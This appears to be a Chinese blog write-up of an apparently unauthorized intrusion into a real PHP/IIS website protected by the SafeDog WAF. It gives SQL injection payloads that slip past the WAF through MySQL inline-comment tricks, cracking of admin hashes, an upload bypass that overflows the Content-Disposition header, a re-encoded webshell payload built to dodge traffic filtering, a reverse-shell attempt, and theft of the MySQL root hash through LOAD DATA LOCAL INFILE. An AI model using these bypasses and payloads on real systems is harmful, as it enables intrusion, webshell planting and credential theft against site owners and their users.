记一次绕过安全狗的渗透
0x01:前言
偶然又得到一个站,记录一下渗透过程
0x02:信息收集
正常显示页面,这里我们可以得到的信息有:
1、网站是php的,显而易见。
2、web服务器为IIS7.5,平台为windows,如下。
随便输入fuzz一下,加个单引号
报错了,而且还将单引号转义了,可能存在注入
继续测试注入类型:
payload:' and 'a' = 'a
熟悉的界面
那么现在我们可以确认的是:
1、单引号被转义了,经过测试后双引号和反斜杠也被转义了,但是空格未被转义,猜测后端代码使用了 mysql_real_escape_string() 函数对id参数进行过滤
2、网站使用了安全狗,版本尚未明确
0x03:绕过安全狗
网上多数绕过安全狗的方法有%0a绕过空格过滤,但是经过测试空格未作waf,所以不考虑
安全狗对于关键字过滤的十分严格,大小写、双写、符号都无法绕过
那继续尝试内联包裹关键字绕过
很不幸也被ban了
想到以前大佬有50001这种操作,那继续payload:order/*!50001*/by/*!50001*/ 16
很不幸又被ban了,看来安全狗版本挺新的。
参考内联50001的原理,我们可以使用其他字符对其进行扰乱。
这里提一下内联注释:
内联注释是MySQL为了保持与其他数据兼容,将MySQL中特有的语句放在/*!…*/中, 这些语句在不兼容的数据库中不执行,而在MySQL自身却能识别,执行。 /*!50001*/表示数据库版本>=5.00.01时中间的语句才能被执行,这个数代表版本数,所以狗不能拦截,这个数字如果被拦截,可以使用burp跑一下,找到可以替换的版本号。
比如/*!80000aaa*/
成功绕过了安全狗
0x04:注入
接下来查询列数:
遍历可回显位置
可见 3和7是可回显的位置
查看当前用户,当前数据库:
继续注入所有数据库名
很高兴的是安全狗只waf掉了select 所以我也不用打那么多的 /*!80000aaa*/
既然只有两个数据库那就好说了
接下来梭哈即可
查表
查字段
查数据
md5跑一跑看看能不能出来
不得不说 https://www.somd5.com/ 很给力!
0x05:获得webshell
得到了后台账号密码后,尝试寻找后台路径,上御剑
算了吧,看看网站也没有什么可以信息泄露的
结果找到了这个,既然知道了cms,不妨Google一波
但是很遗憾Google没找着相关信息,但是在百度找到了利用点
不知道这算啥...
于是进去看看
试一试这个路径
好吧,真的进来了
看看有什么上传点,找到一处上传点
尝试直接上传php,失败;上传txt,也失败;00截断,也失败,尝试了各种姿势后,无果...
后来怎么绕过的呢,由于安全狗对于http头字段: Content-Disposition: 处理的不是很好, 当长度增加到48930的时候,安全狗的上传防御就失效了。结果如下图:
所以这里对该字段进行溢出,成功上传php文件。
但是,安全狗依然会对上传的内容进行过滤,杀了我n多小马,
终于用压箱底绕过了安全狗的疯咬。
上菜刀
秒挂,忽然想起来安全狗会对菜刀的流量进行waf。
既然被waf,那我就继续绕
众所周知,菜刀的流量是固定格式的,即: x=@eval(base64_decode($_POST[123]));&123=ZWNobyhgY2F0IC9mbGFnLnR4dGApOw==
那么狗有可能通过正则过滤了菜刀的关键语句,可能是eval函数,那改成assert试一试,但是不回显数据了,看来还是得用eval,后来下载了个安全狗试了试才知道安全狗过滤掉的是@eval(base64_decode($_POST[123]));
那变异一下关键字就行了,将@eval(base64_decode($_POST[123]));base64编码,然后再解一次base64,即:x=@eval(base64_decode(QGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbMTIzXSkpOw));&123=ZWNobyhgd2hvYW1pYCk7
但是,成功是成功了,本地确实复现了,但是这服务器依然不回显数据。尝试试用本地php中转菜刀流量,依然以失败告终。。。
(后来某次实验忽然想起这个问题,后来发现echo(`ls`) 只适用于linux系统。所以没回显,第二种可能则是部分函数被禁用)
看来小马行不通了。那既然小马不行,上传大马试一试
正好前几天从tools混了一个大佬的大马,直接修改post数据上传,成功!
访问http://www.xxxxxx.cn/product/images/1563181161.php
扫描一下端口:
3389被关了,mysql没爆出密码,尝试反弹shell
nc可以弹回来,但是无法执行命令
在代码里翻了一会儿找到了mysql配置文件
连接成功
由于当前账号权限非root,所以想到读取myd文件破解哈希试一试
使用远程连接mysql工具连接,创建空表test1,数据大小最好大点,我设置的30000。
由于不知道数据库myd文件的具体物理路径,首先查看mysql的目录和版本:
select @@basedir;
select version();
不出意外的话该服务器安装mysql是默认安装的,那么user.myd文件就很有可能在 C:/ProgramData/MySQL/MySQL Server 5.1/Data/mysql/ 目录下。
所以使用语句:
LOAD DATA LOCAL INFILE 'C:/ProgramData/MySQL/MySQL Server 5.1/Data/mysql/user.myd' INTO TABLE test1 fields terminated by '' LINES TERMINATED BY '\0';
成功获得root哈希
整理后筛出前32位,使用somd5解密
得到密码:root
但是root账号被限制了远程登录,也就是说目前无法使用udf提权。。。